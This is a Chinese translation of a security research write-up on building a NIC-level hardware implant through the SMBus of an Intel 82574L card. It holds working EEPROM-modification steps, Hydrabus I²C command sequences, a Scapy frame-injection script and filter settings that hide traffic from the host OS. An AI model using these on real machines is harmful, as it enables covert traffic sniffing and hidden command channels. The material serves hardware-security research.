搭建自己的硬體植入工具
開始
讓我們首先看一下NIC和BMC之間的可能介面。主要協議之一是IPMI。
IPMI
參考維基百科:“智慧平臺管理介面(IPMI)是一組計算機介面規範,用於自主計算機子系統,提供獨立於主機系統的CPU,韌體(BIOS或UEFI)和作業系統的管理和監視功能。”框圖還顯示了可能的路徑如下: 實際上,IPMI 為NIC 定義了兩個邊帶通道:SMBus和NC-SI。NC-SI是SMBus的現代替代品,可實現更快的傳輸速率和其他新功能。問題是它需要更多訊號(大約10個),這在硬體植入的情況下更難以干擾。所以,我們堅持使用SMBus。
SMBus
根據維基百科的說法,系統管理匯流排(SMBus)是一種單端簡單的雙線匯流排,用於輕量級通訊。最常見的是在電腦主機板發現與ON / OFF指示電源的溝通。”。它源於I²C協議,它通常在許多微控制器上找到。此介面僅需要兩個訊號(時鐘和資料),第三個訊號用於非同步警報。這看起來像是我們植入物的完美協議。
第一次接觸
由於無法使用帶有BMC的主機板,我們必須想其他方法。在檢視伺服器主機板資料表時,我們發現其中一些使用了Intel 82574L晶片。根據資料表,該晶片允許“SMBus高階直通介面”,這正是我們所需要的。更重要的是,它可以作為PCI-E卡使用。
訪問SMBus
我們現在有一些帶有82574L晶片的Intel EXPI9301CTBLK卡。現在怎麼辦呢?回到資料表,我們可以定位和跟蹤SMB_DAT、SMB_ALRT_N和整個PCB。幸運的是,它們在header中是可用的。

我們連線了I²C探針並掃描了SMBus,但沒有任何有用的東西可以讀取。讀資料表顯示只有在設定了特定的暫存器位時才會使能SMBus。該值從板載EEPROM載入。是時候深入挖掘了。
在卡片上啟用SMBus訪問
同樣,檢視資料表。SMBus訪問似乎受限於從NIC EEPROM載入的特定暫存器值。幸運的是,EEPROM可以通過flashrom讀取。傾倒EEPROM內容後,我們可以對其進行分析,改變其值:
> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64) flashrom is free software, get the source code at https://flashrom.org Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns). Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi. Reading flash... done.
從NVM地圖看到,我們需要更改兩個值:
1.Init Control Word 2 [ MNGM];
2.相容性[ASF SMBus已連線];
3.相容性[SMBus已連線];
請注意,EEPROM中的字以小端格式儲存,因此必須相應地更改值。完成後,我們仍然需要處理Checksum字。[0x00-0x40]範圍內所有字的總和必須等於0xBABA。Python幫助我們計算正確的校驗和:
import struct data = open('/tmp/flash.mod', 'rb').read() tot = 0 for i in range(0x3f): tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff print("Checksum word must be : " + hex(0xbaba-tot)) #Checksum word must be : 0x9efb
最後,我們對EEPROM做了如下更改:
< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F....... > 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F....... < 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z. > 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z. < 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0..... > 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....
一旦完成更改並快閃記憶體到EEPROM,我們連線I²C探頭:
i2c1> scan Device found at address 0x49 i2c1>
注意,由於I²C地址是以7位編碼的,我們需要使用 0x49 << 1 = 0x92
作為地址,我們現在有一個工作設定我們的植入物。我們現在可以開始向NIC傳送一些命令:

獲取資訊
我們繼續讀取資料表,並向NIC傳送精心製作的命令,以驗證一切正常。同樣,資料表在8.4.4章中解釋了我們需要了解的關於事務格式的所有內容。唯一的區別是我們不需要計算PEC(為每個包計算的SMBus校驗和)。例如,我們可以使用以下順序將命令CMD傳送到地址@SLAVE: [START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]
[START]和[STOP]是I²C協議定義的START和STOP條件。例如,讀取MAC地址的命令是0xD4。在I²C模式下發送SMBus命令如下: [START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]
翻譯成Hydrabus命令,就是:
i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ] I2C START WRITE: 0x92 ACK 0xD4 ACK<== [NIC address] [command] I2C START<== Switch state WRITE: 0x92 ACK<== [NIC address] 07 D4 | ..<== Read [length] [header] 68 05 CA 89 B2 2E | h.....<== Read MAC address bytes NACK I2C STOP
建立植入物
現在我們知道如何與我們的NIC通訊,讓我們看看我們如何實際使用此通道來竊取網路流量併發送一些。同樣,資料表的第8章解釋了我們所需要的一切,以便做我們想要的。
傳送資料包
我們可以使用命令簡單地生成乙太網幀。以下是Hydrabus或Bus Pirate傳送資料包的示例指令碼:
import serial import struct from scapy.all import * ser = serial.Serial('/dev/ttyACM0',115200) def send_frame(pkt): # Define the frame size pktlen = struct.pack("B", len(pkt)) # Define the data length to be sent fulllen = struct.pack(">h", len(pkt)+3) # I2C write-then-read. Send frame + SMBus header, receive 0 ser.write('x08'+fulllen+'x00x00') ser.write("x92xc4"+pktlen+pkt) # If packet has been sent successfully if ser.read(1) == 'x01': print "Send OK" else: print "Error sending" ser.write('x00') ser.write('x00') ser.write('x0Fn') quit() # Open Hydrabus in binary mode for i in xrange(20): ser.write("x00") if "BBIO1" not in ser.read(5): print "Could not get into binary mode" quit() # Switch to I2C mode ser.write('x02') if "I2C1" not in ser.read(4): print "Cannot set I2C mode" quit() #Create the frame to send p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP() #Send the frame send_frame(str(p)) # Return to main binary mode ser.write('x00') #reset to console mode ser.write('x0Fn')
一旦指令碼被執行,我們可以看到來自植入機器的資料包,但最有趣的是植入的主機根本看不到: [攻擊者機器左上角的tcpdump。植入的機器位於右上方。
讀包
過濾
為了知道哪些幀轉到SMBus, NIC,可以使用可管理性過濾器匹配來自網路的流量。
1.我們可以通過設定與流量匹配的過濾器並將它們轉發到PCIe和SMBus來嗅探流量。
2.我們可以通過將流量路由到SMBus來使流量消失。
3.我們可以建立一個植入主機看不到的隱蔽通道。最重要的是,過濾選項可以匹配各種框架元素:
(1)UDP / TCP埠
(2)VLAN3.IPv4 - IPv64.MAC地址
實現
要正確設定所有內容是相當困難的,我們嘗試了許多不同的組合,以便過濾工作。幸運的是,Intel的應用程式說明為我們提供了更多關於如何以我們需要的方式啟動過濾器的細節。我們可以設定所有使用四個命令:
//Disable filtering globally [ 0x92 0xca 0x01 0x40 ] //Configure MDEF[0] to receive frames coming to UDP/664 and UDP/623 [ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ] //Configure MANC2H to disallow forwarding to the OS [ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ] // Enable filtering (SMBus alerting, status reporting / Enable) [ 0x92 0xca 0x01 0x45 ]
receive enable命令需要設定一些位來啟用接收,以及用來將幀傳送回我們的implant的方法。我們選擇了SMBus警報,因為其他模式允許NIC在SMBus上執行非同步請求。
瞭解框架
因為我們使用了SMBus警告方法,所以在傳送Receive TCO包命令之前,我們需要等待SMB_ALRT_N訊號關閉。如果我們等待太久,資料包將從網絡卡中丟棄。在本例中,我們只是週期性地傳送乙太網幀併發送讀命令,以確認該原理是有效的。
我們的設定如下:
1.植入的主機具有過濾器來匹配來自UDP埠623的流量;
2.植入物由Hydrabus模擬;
3.另一臺主機正在傳送與過濾器匹配的資料包,該資料包使用以下Scapy指令碼:
from scapy.all import * p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD" while(1):sendp(p)
結果非常有趣:

在左邊,我們可以看到讀取框架的SMBus命令,以及包含在下面的框架中的資料。在右側,在植入的主機上執行的tcpdump不顯示任何傳入幀。
傳送幀
通過更改MANC2H暫存器,可以將流量傳送到SMBus,同時PCIe允許主機正確讀取幀。例如,讓我們建立一個匹配UDP/161 (SNMP)流量的捕獲過濾器,並將其轉發給SMBus和PCIe:
//Disable filtering globally [ 0x92 0xca 0x01 0x40 ] //Create the flex port filter 0 on port 161 (0xa1) [ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ] //Configure MDEF[0] to accept traffic matching flex filter 0 [ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ] //Configure MANC2H to allow forwarding MDEF[0] traffic to PCIe [ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ] // Enable filtering (SMBus alerting, status reporting / Enable) [ 0x92 0xca 0x01 0x45 ]
現在我們已經運行了過濾器,我們可以向植入的主機發送一個SNMP查詢,並看到植入所捕獲的包。注意,植入的主機響應查詢,即資料包正確傳送到SMBus和PCIe:

結論
在這篇文章中,我們描述了一種可能的方法,可以將小而廉價的微控制器用作NIC級別的植入物。這種植入需要至少四個引腳(Vcc,GND,CLK,DAT)才有用,並允許控制主機NIC。
這種植入物的功能是:
1.嗅探來自主機的網路流量;
2.在沒有主機知道的情況下從網路接收命令;
3.在沒有主機注意的情況下將資料傳輸到網路。
這個例子使用Hydrabus作為I²C/ SMBus的介面,為了簡單起見,但在像ATtiny85這樣的小型微控制器上實現相同的功能(幾乎與NIC的EEPROM大小相同)也同樣容易。然而,在實際情況下,這樣的植入物只能訪問SMBus。根據主機板設計,這可能是唯一可訪問的裝置,因此無法與主機作業系統進行互動。在需要完全作業系統受損的情況下,修改BMC程式碼將是最佳選擇,因為它已經可以訪問所有有趣的匯流排並且不會在主機板上留下任何可見的佔用空間。這種植入物的另一個缺點是它只能以大約100Kb /秒的速度獲得資料,這不足以進行全面的檢查。最重要的是,植入物只能捕獲來自網路的流量。與將其實現到目標硬體所需的努力相比,這使得該解決方案的效率有些低。
*參考來源 ofollow,noindex" target="_blank">kudelskisecurity ,周大濤編譯,轉載請註明來自FreeBuf.COM